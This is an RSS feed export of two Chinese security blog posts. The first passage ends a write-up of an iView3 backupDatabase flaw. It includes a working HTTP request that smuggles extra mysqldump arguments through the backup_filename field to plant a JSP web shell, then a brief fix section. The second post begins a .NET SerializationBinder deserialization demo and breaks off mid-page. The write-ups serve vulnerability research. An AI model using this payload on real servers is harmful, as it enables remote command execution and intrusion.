class="code-snippet__number">2.</span>sql<span class="code-snippet__string">&#34; -r &#34;</span>./webapps/iView3/test.jsp<span class="code-snippet__string">&#34; -w &#34;</span>&lt;%=<span class="code-snippet__keyword">new</span> String(com.sun.org.apache.xml.<span class="code-snippet__keyword">internal</span>.security.utils.JavaUtils.getBytesFromStream((<span class="code-snippet__keyword">new</span> ProcessBuilder(request.getParameter(<span class="code-snippet__keyword">new</span> java.lang.String(<span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[]{<span class="code-snippet__number">99</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">100</span>}))).start()).getInputStream()))%&gt;<span class="code-snippet__string">&#34;</span></span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/iView3/NetworkServlet</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 172.16.16.132:8080</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 79</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">page_action_type=backupDatabase&amp;backup_filename=<span class="code-snippet__number">2.s</span>ql<span class="code-snippet__string">&#34;+-r+&#34;</span>./webapps/iView3/test.jsp<span class="code-snippet__string">&#34;+-w+&#34;</span>&lt;%<span class="code-snippet__number">25</span>%<span class="code-snippet__number">3d</span><span class="code-snippet__built_in">new</span>+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((<span class="code-snippet__built_in">new</span>+ProcessBuilder(request.getParameter(<span class="code-snippet__built_in">new</span>+java.lang.String(<span class="code-snippet__built_in">new</span>+<span class="code-snippet__keyword">byte</span>[]{<span class="code-snippet__number">99</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">100</span>}))).start()).getInputStream()))%<span class="code-snippet__number">25</span>&gt;<span class="code-snippet__string">&#34;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">拼接之后为</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump&#34;</span> -hlocalhost -u root -padmin --<span class="code-snippet__keyword">add</span>-drop-database -B iview -r <span class="code-snippet__string">&#34;c:\IMCTrapService\backup\2.sql&#34;</span> -r <span class="code-snippet__string">&#34;./webapps/iView3/test.jsp&#34;</span> -w <span class="code-snippet__string">&#34;&lt;%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%&gt;&#34;</span></span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="92" data-backw="562" data-galleryid="" data-ratio="0.1638888888888889" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cc8974ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqy0Dicofkq6X8m55x6ES6ROhO2FxKM9xgtEos9YlAwl9vGGWJBibFfiaa0ylmM6UMAsDbTicLUE0ddew%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">有php日志getshell的那味了。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">修复</h1><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5416666666666666" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c11eee6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqy0Dicofkq6X8m55x6ES6ROVXkP39gUlad0w0faoicR3Z2aVmLHzvL4onriaicrROydywicSOZC7m9Tvw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">判断session登录状态</p><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages js_insertlocalimg wxw-img" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p>



<p><a href="2247486367">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c4b1fb23&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486367%26idx%3D1%26sn%3D0304ee0aa286b24f68a0ef1901187750%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 Jul 2022 14:54:00 +0800</pubDate>
    </item>
    <item>
      <title>dotnet反序列化之并不安全的SerializationBinder</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486350&amp;idx=1&amp;sn=83882fae2fc826ca74a9f7d6c86a5ec0</link>
      <description>今天看到了这篇文章[1]，记录一下。使用SerializationBinder先来一个demo，用Seria</description>
      <content:encoded><![CDATA[<p>
原创 <span>ChaBug</span> <span>2022-07-05 14:38</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>今天看到了这篇文章[1]，记录一下。使用SerializationBinder先来一个demo，用Seria</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2783246f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzY1r1CPicbIgaxwxHs7WGnD1iaibt4mCf8TT8mib4miciaPI0Cx85b8sf3sc0Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin: 0px 8px 1.5em;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">今天看到了<span style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(0, 153, 38);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">这篇文章<sup style="box-sizing: border-box;margin: 0px;padding: 0px;">[1]</sup></span>，记录一下。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">使用SerializationBinder</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">先来一个demo，用SerializationBinder限制一下反序列化的类型。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.IO;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Runtime.Serialization;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> System.Runtime.Serialization.Formatters.Binary;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Serialize</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Program</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">Main</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">string</span>[] args</span>)</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            BinaryFormatter binaryFormatter = <span class="code-snippet__keyword">new</span> BinaryFormatter();</span></code><code><span class="code-snippet_outer">            MemoryStream memoryStream = <span class="code-snippet__keyword">new</span> MemoryStream();</span></code><code><span class="code-snippet_outer">            RCE calc = <span class="code-snippet__keyword">new</span> RCE(<span class="code-snippet__string">&#34;calc&#34;</span>);</span></code><code><span class="code-snippet_outer">            binaryFormatter.Serialize(memoryStream, calc);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            memoryStream.Position = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            binaryFormatter.Binder = <span class="code-snippet__keyword">new</span> MyBinder();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">object</span> v = binaryFormatter.Deserialize(memoryStream);</span></code><code><span class="code-snippet_outer">            Console.WriteLine(v);</span></code><code><span class="code-snippet_outer">            Console.ReadKey();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    [<span class="code-snippet__meta">Serializable</span>]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">RCE</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">string</span> cmd;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">RCE</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">string</span> cmd</span>)</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.cmd = cmd;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">override</span> <span class="code-snippet__keyword">string</span> <span class="code-snippet__title">ToString</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">$&#34;exec cmd:<span class="code-snippet__subst">{cmd}</span>&#34;</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">MyBinder</span> : <span class="code-snippet__title">SerializationBinder</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">override</span> Type <span class="code-snippet__title">BindToType</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">string</span> assemblyName, <span class="code-snippet__keyword">string</span> typeName</span>)</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            Console.WriteLine(<span class="code-snippet__string">$&#34;assemblyName:<span class="code-snippet__subst">{assemblyName}</span>,typeName:<span class="code-snippet__subst">{typeName}</span>.&#34;</span>);</span></code><code><span class="code-snippet_outer">            Type typeToDeserialize = Type.GetType(String.Format(<span class="code-snippet__string">&#34;{0}, {1}&#34;</span>, typeName, assemblyName));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (typeToDeserialize.Equals(<span class="code-snippet__keyword">typeof</span>(RCE)))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">//throw new Exception(&#34;can&#39;t deseriliza rce class.&#34;);</span></span></code><code><span class="code-snippet_outer">                Console.WriteLine(<span class="code-snippet__string">&#34;can&#39;t deseriliza rce class.&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> typeToDeserialize;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">解释下代码，有一个RCE的类，通过反序列化cmd字段，然后触发他的tostring方法就可以rce执行命令。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在main函数中，我们先new了一个没有用binder的BinaryFormatter来序列化执行calc命令的RCE对象，在反序列化的时候，绑定了Binder实例做反序列化的类型判断。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在Binder中<span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="220" data-backw="562" data-galleryid="" data-ratio="0.39136690647482014" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="695" src="https://wechat2rss.xlab.app/img-proxy/?k=57bc37e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYJUOAiciaccf6jlqibUWZdwJ6Hpsyj4G1qZ0BicxouLaFWHRJYia3qlSd5YA%2F640%3Fwx_fmt%3Dpng"/></p></figcaption><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png<span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">通过Type.GetType拿到类型和typeof(RCE)进行比较，如果反序列化类型等于RCE，那么直接返回null，否则返回正确的type。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">此时运行一下</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img class="rich_pages wxw-img" data-backh="150" data-backw="319" data-ratio="0.4698924731182796" title="null" data-type="png" data-w="930" style="box-sizing: border-box;margin: 0.5em auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;border-radius: 4px;display: block;width: 100%;height: auto;" 